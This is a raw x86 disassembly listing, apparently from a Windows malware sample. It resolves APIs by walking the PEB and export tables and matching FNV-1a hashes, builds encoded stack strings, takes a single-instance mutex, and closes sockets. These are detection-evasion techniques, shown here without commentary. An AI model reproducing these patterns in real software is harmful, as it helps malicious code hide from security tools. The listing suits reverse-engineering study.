mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
nop dword [eax]
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x461722
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x461705
cmp esi, 0x71948ca4
je 0x46172d
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x4616f0
mov eax, dword [eax]
jmp 0x4616c7
mov eax, dword [ebp - 0x10]
mov edx, dword [ebp - 0x14]
push 0x493e0
push dword [ebp - 0x28]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
add eax, edx
call eax
push 0x493e0
push dword [ebp - 0x3c]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop word [eax + eax]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x14], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
lea ecx, [edx + esi]
mov dword [ebp - 0x10], ecx
cmp ecx, esi
je 0x4617d4
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x4617d4
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x4617cd
nop dword [eax + eax]
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x4617b0
cmp esi, 0x71948ca4
je 0x4617d8
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x461796
mov eax, dword [eax]
jmp 0x461770
mov eax, dword [ebp - 0x10]
mov edx, dword [ebp - 0x14]
push 0x493e0
push dword [ebp - 0x78]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
add eax, edx
call eax
push 0x493e0
push dword [ebp - 0x6c]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x14], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
lea ecx, [edx + esi]
mov dword [ebp - 0x10], ecx
cmp ecx, esi
je 0x461879
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x461879
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
nop dword [eax + eax]
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x461872
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x461855
cmp esi, 0x71948ca4
je 0x46187d
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x461840
mov eax, dword [eax]
jmp 0x461815
mov eax, dword [ebp - 0x10]
mov edx, dword [ebp - 0x14]
push 0x493e0
push dword [ebp - 0x74]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
add eax, edx
call eax
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop dword [eax]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x14], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
lea ecx, [edx + esi]
mov dword [ebp - 0x10], ecx
cmp ecx, esi
je 0x461914
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x461914
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x46190d
nop dword [eax + eax]
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x4618f0
cmp esi, 0x71948ca4
je 0x461918
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x4618d6
mov eax, dword [eax]
jmp 0x4618b0
mov eax, dword [ebp - 0x10]
mov edx, dword [ebp - 0x14]
push 0x493e0
push dword [ebp - 0x70]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
add eax, edx
call eax
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x14], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
lea ecx, [edx + esi]
mov dword [ebp - 0x10], ecx
cmp ecx, esi
je 0x4619a9
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x4619a9
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
nop dword [eax]
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x4619a2
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x461985
cmp esi, 0xfaba0065
je 0x4619ad
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x461970
mov eax, dword [eax]
jmp 0x461947
mov eax, dword [ebp - 0x10]
mov edx, dword [ebp - 0x14]
push dword [ebp - 0x24]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
add eax, edx
call eax
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x14], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
lea ecx, [esi + edx]
mov dword [ebp - 0x10], ecx
cmp ecx, esi
je 0x461a39
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x461a39
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
nop dword [eax]
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x461a32
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x461a15
cmp esi, 0xfaba0065
je 0x461a3d
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x461a00
mov eax, dword [eax]
jmp 0x4619d7
mov eax, dword [ebp - 0x10]
mov edx, dword [ebp - 0x14]
push dword [ebp - 0x28]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
add eax, edx
call eax
push dword [ebp - 0x3c]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x14], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
lea ecx, [edx + esi]
mov dword [ebp - 0x10], ecx
cmp ecx, esi
je 0x461ad4
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x461ad4
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x461acd
nop dword [eax + eax]
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x461ab0
cmp esi, 0xfaba0065
je 0x461ad8
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x461a96
mov eax, dword [eax]
jmp 0x461a70
mov eax, dword [ebp - 0x10]
mov edx, dword [ebp - 0x14]
push dword [ebp - 0x78]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
add eax, edx
call eax
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x14], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
lea ecx, [edx + esi]
mov dword [ebp - 0x10], ecx
cmp ecx, esi
je 0x461b64
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x461b64
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x461b5d
nop dword [eax]
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x461b40
cmp esi, 0xfaba0065
je 0x461b68
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x461b28
mov eax, dword [eax]
jmp 0x461b02
mov eax, dword [ebp - 0x10]
mov edx, dword [ebp - 0x14]
push dword [ebp - 0x6c]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
add eax, edx
call eax
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x14], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
lea ecx, [edx + esi]
mov dword [ebp - 0x10], ecx
cmp ecx, esi
je 0x461bf4
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x461bf4
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x461bed
nop dword [eax]
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x461bd0
cmp esi, 0xfaba0065
je 0x461bf8
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x461bb8
mov eax, dword [eax]
jmp 0x461b92
mov eax, dword [ebp - 0x10]
mov edx, dword [ebp - 0x14]
push dword [ebp - 0x74]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
add eax, edx
call eax
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x14], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
lea ecx, [esi + edx]
mov dword [ebp - 0x10], ecx
cmp ecx, esi
je 0x461c84
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x461c84
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x461c7d
nop dword [eax]
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x461c60
cmp esi, 0xfaba0065
je 0x461c88
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x461c48
mov eax, dword [eax]
jmp 0x461c22
mov eax, dword [ebp - 0x10]
mov edx, dword [ebp - 0x14]
push dword [ebp - 0x70]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
add eax, edx
call eax
lea ecx, [ebp - 0xba]
mov dword [ebp - 0xba], 0x5a405209
mov word [ebp - 0xb6], 0x100
call fcn.00462f90
lea ecx, [ebp - 0x87]
mov word [ebp - 0x87], 0x78
mov byte [ebp - 0x85], 1
call fcn.00463140
lea eax, [ebp - 0x87]
push 0x533ae4
push eax
lea edx, [ebp - 0x228]
lea ecx, [ebp - 0x4c8]
call fcn.00469b50
add esp, 4
lea ecx, [ebp - 0x4b0]
mov edx, eax
call fcn.00469d70
lea ecx, [ebp - 0xba]
add esp, 4
mov edx, eax
lea esi, [ecx + 1]
nop word [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x461d20
sub ecx, esi
lea eax, [ebp - 0xba]
push ecx
push eax
mov ecx, edx
call fcn.00468730
push eax
lea ecx, [ebp - 0x31c]
call fcn.004026b0
lea ecx, [ebp - 0x4b0]
call fcn.00402660
lea ecx, [ebp - 0x4c8]
call fcn.00402660
lea ecx, [ebp - 0x38]
mov dword [ebp - 0x38], 0x5a405209
mov word [ebp - 0x34], 0x100
call fcn.00462f90
mov edx, 0x17
lea ecx, [ebp - 0x4f8]
call fcn.0040c790
push eax
lea edx, [ebp - 0x818]
lea ecx, [ebp - 0x4e0]
call fcn.00469c70
lea ecx, [ebp - 0x38]
add esp, 4
mov edx, eax
lea esi, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x461da0
sub ecx, esi
lea eax, [ebp - 0x38]
push ecx
push eax
mov ecx, edx
call fcn.00468730
push eax
lea ecx, [ebp - 0x3b4]
call fcn.004026b0
lea ecx, [ebp - 0x4e0]
call fcn.00402660
lea ecx, [ebp - 0x4f8]
call fcn.00402660
mov ecx, 0x536190
call fcn.004027a0
lea ecx, [ebp - 0x3b4]
mov ebx, eax
call fcn.004027a0
sub esp, 0x18
mov esi, eax
mov edi, esp
mov ecx, edi
push dword [ebp - 0x10]
call fcn.00402810
mov ecx, esi
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x461e04
sub ecx, edx
push ecx
push esi
mov ecx, edi
call fcn.00402830
sub esp, 0x18
mov ecx, esp
push 0x533afc
call fcn.00465e10
mov ecx, ebx
call fcn.00407220
add esp, 0x18
lea eax, [ebp - 0x31c]
mov ecx, esp
push eax
call fcn.00465e10
sub esp, 0x18
lea eax, [ebp - 0x3b4]
mov ecx, esp
push eax
call fcn.00465e10
call fcn.0041f710
add esp, 0x30
cmp byte [0x535eb3], 0
je 0x461ee9
cmp byte [ebp - 0x15], 0
jne 0x461ee9
sub esp, 0x10
mov ecx, esp
push 0x536158
call fcn.00463910
sub esp, 0x10
mov ecx, esp
push 0x536050
call fcn.00463910
sub esp, 0x10
mov ecx, esp
push 0x536100
call fcn.00463910
sub esp, 0x10
mov ecx, esp
push 0x536120
call fcn.00463910
sub esp, 0x10
mov ecx, esp
push 0x536110
call fcn.00463910
sub esp, 0x10
mov ecx, esp
push 0x536070
call fcn.00463910
sub esp, 0x18
lea eax, [ebp - 0x228]
mov ecx, esp
push eax
call fcn.00465e10
call fcn.0041a490
add esp, 0x78
test al, al
je 0x461ee9
sub esp, 0x18
lea eax, [ebp - 0x24c]
mov ecx, esp
push eax
call fcn.00465e10
sub esp, 0x10
mov ecx, esp
push 0x536158
call fcn.00463910
sub esp, 0x10
mov ecx, esp
push 0x536050
call fcn.00463910
sub esp, 0x10
mov ecx, esp
push 0x536100
call fcn.00463910
sub esp, 0x10
mov ecx, esp
push 0x536120
call fcn.00463910
sub esp, 0x10
mov ecx, esp
push 0x536110
call fcn.00463910
sub esp, 0x10
mov ecx, esp
push 0x536070
call fcn.00463910
sub esp, 0x18
lea eax, [ebp - 0x228]
mov ecx, esp
push eax
call fcn.00465e10
call fcn.00445000
add esp, 0x90
lea ecx, [ebp - 0x3b4]
call fcn.00402660
lea ecx, [ebp - 0x31c]
call fcn.00402660
jmp 0x46201e
cmp byte [0x535eb3], 0
je 0x46201e
cmp byte [ebp - 0x15], 0
jne 0x46201e
sub esp, 0x10
mov ecx, esp
push 0x536158
call fcn.00463910
sub esp, 0x10
mov ecx, esp
push 0x536050
call fcn.00463910
sub esp, 0x10
mov ecx, esp
push 0x536100
call fcn.00463910
sub esp, 0x10
mov ecx, esp
push 0x536120
call fcn.00463910
sub esp, 0x10
mov ecx, esp
push 0x536110
call fcn.00463910
sub esp, 0x10
mov ecx, esp
push 0x536070
call fcn.00463910
sub esp, 0x18
lea eax, [ebp - 0x228]
mov ecx, esp
push eax
call fcn.00465e10
call fcn.0041a490
add esp, 0x78
test al, al
je 0x46201e
call fcn.00416720
lea ecx, [ebp - 0x2d4]
call fcn.00402660
lea ecx, [ebp - 0x2ec]
call fcn.00402660
lea ecx, [ebp - 0x304]
call fcn.00402660
lea ecx, [ebp - 0x414]
call fcn.004623c0
lea ecx, [ebp - 0x41c]
call fcn.00462420
lea ecx, [ebp - 0x264]
call fcn.00402660
lea ecx, [ebp - 0x27c]
call fcn.00402660
push str.ret34634734g_dfyh_y_rtdyrtyrty
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
cmp byte [0x535eb3], 0
je 0x46221c
cmp byte [ebp - 0x15], 0
je 0x46221c
sub esp, 0x10
mov ecx, esp
push 0x536158
call fcn.00463910
sub esp, 0x10
mov ecx, esp
push 0x536050
call fcn.00463910
sub esp, 0x10
mov ecx, esp
push 0x536100
call fcn.00463910
sub esp, 0x10
mov ecx, esp
push 0x536120
call fcn.00463910
sub esp, 0x10
mov ecx, esp
push 0x536110
call fcn.00463910
sub esp, 0x10
mov ecx, esp
push 0x536070
call fcn.00463910
sub esp, 0x18
lea eax, [ebp - 0x228]
mov ecx, esp
push eax
call fcn.00465e10
call fcn.0041a490
add esp, 0x78
test al, al
je 0x46221c
push 0x533b44
lea ecx, [ebp - 0x1e9]
mov dword [ebp - 0x1e9], 0x49404454
mov dword [ebp - 0x1e5], 0x47417f40
mov dword [ebp - 0x1e1], 0x5c70554b
mov word [ebp - 0x1dd], 0x57
mov byte [ebp - 0x1db], 1
call fcn.0040a710
mov edx, eax
lea ecx, [ebp - 0x510]
call fcn.00469c10
add esp, 4
mov ecx, eax
call fcn.004027a0
push eax
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
lea ecx, [ebp - 0x510]
call fcn.00402660
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x46225b
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
push 0x7530
call ebx
sub esp, 0x18
mov dword [ebp - 0x18e], 0x69677e6f
lea ecx, [ebp - 0x18e]
mov dword [ebp - 0x18a], 0x42414805
mov word [ebp - 0x186], 0x100
mov esi, esp
call fcn.0040ee70
push eax
mov ecx, esi
call fcn.00402700
call fcn.0041f140
mov ecx, dword [0x536178]
mov eax, 0x2aaaaaab
sub ecx, dword [0x536174]
add esp, 0x18
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
je 0x462213
nop dword [eax]
push 0x64
call ebx
mov ecx, dword [0x536178]
mov eax, 0x2aaaaaab
sub ecx, dword [0x536174]
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
jne 0x4621f0
mov byte [0x535e91], 1
jmp 0x462222
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
push 0xbb8
call ebx
push 2
push dword [0x533aac]
call dword [sym.imp.WS2_32.dll_shutdown]
push dword [0x533aac]
call dword [sym.imp.WS2_32.dll_closesocket]
cmp byte [0x535eb3], 0
je 0x46225b
cmp byte [ebp - 0x15], 0
je 0x46225b
push 0x3e8
call ebx
jmp 0x462252
lea ecx, [ebp - 0x24c]
xor esi, esi
call fcn.00402660
lea ecx, [ebp - 0x3cc]
call fcn.00402660
lea ecx, [ebp - 0x228]
call fcn.00402660
mov ecx, dword [ebp - 0x1f0]
test ecx, ecx
je 0x46228d
call fcn.00403560
lea ecx, [ebp - 0x400]
call fcn.00402660
mov ecx, dword [ebp - 0xc]
mov eax, esi
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret 0x10